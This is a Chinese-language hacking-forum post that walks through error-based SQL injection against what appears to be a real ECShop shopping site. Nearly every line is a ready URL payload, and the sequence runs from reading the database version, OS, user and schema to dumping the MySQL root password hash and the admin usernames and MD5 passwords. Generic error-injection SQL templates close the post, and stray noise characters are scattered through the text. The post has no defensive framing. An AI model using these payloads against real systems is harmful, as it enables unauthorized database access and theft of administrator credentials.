找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2123|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 ' K& N) n' q/ O7 t# @' l  o; H. y
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
6 Y) G# b9 U: ~( ]- z: d: |+ _5 G3 F( g; u/ p
判断系统
, N9 u# C9 o: I& Y5 n: W7 u, J1 ]; [- i5 R) v5 c9 G( \
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 G+ d$ _# F; M& J* B  T5 ?2 k

& }: \1 n4 L8 Z4 c; ?- Y3 Y3 d/ u0 l. Q9 z: D1 q

0 e7 N) N/ |/ `* d1 F当前 user()
7 ~3 c3 ?7 V% v4 K- P) o( i) e6 G; m- ^! `) b% Y5 _
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 J8 L9 ?! r8 j/ @2 B* z
  z* R: N* f  y$ O4 r5 G! [
6 E( A  ]- O3 U4 z* y- J8 u5 S" `7 _# {
当前 database()% U- T/ F0 ]$ [
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%230 d  C5 K2 w# J
$ _4 e- l" u  b3 A; @7 d
8 o- n. X) c. m: F* A" i
& E: H- n! T+ {' W% ]* A: {

5 H3 L- _" F- h' Q2 G% u+ I1 {root hash
" w. q* b/ w; M& R) a" X+ Q# D6 X" K
( A- v1 S. I" t: a& a) l5 Y' B5 Ghttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' m+ o, E8 X2 q5 D/ X0 ~0 @4 c' c* f+ _2 D2 K
* }- z( c5 X$ d) p0 ?; |( {2 V4 z% e- ?
8 I: h) A# G! @
当前 数据库表名
5 I) U/ l; ]7 ?- K4 E4 I/ t7 Z- N6 b2 P8 S. M
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%230 X' J3 s1 [$ s9 V& A$ }. {
8 V5 d; v$ P7 u+ s

5 W# M! ]& M$ ^% t8 o# d5 r* y; I( v8 M
当前 数据库 user_name 字段3 S, O* B# Y! i. p

3 J! f. k/ i! rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* P4 c9 B2 v3 @  v: u* o  @

  q4 G% ?% h& m0 ^当前 数据库 字段 password
8 }/ \$ {# K) z0 N, yhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%239 R* o, t& e, f

# G! U, E! E* M6 ^+ }# b4 K7 h
! a1 e  \) N) W4 x/ t
* G! _3 v! w' t3 G1 Q- p: A获得 admin passwd(md5); O( c7 l" c5 d% E/ ?; Y( c( D9 e
9 `+ H0 P4 u$ X& P/ G$ e
4 v, ~# y3 K, l. w) |. v9 M
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
0 |6 H) R8 Z( T4 }9 Y5 N9 k" U% q1 |
报错注射  L$ Y/ q. Z% x8 v% L
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
$ O0 }1 }% |# U4 J  ]" j. K' m+ [; h7 Z  G) W' n
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)5 r5 E0 V9 d4 g

5 O0 n  D  D) o4 r" r/ Pand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表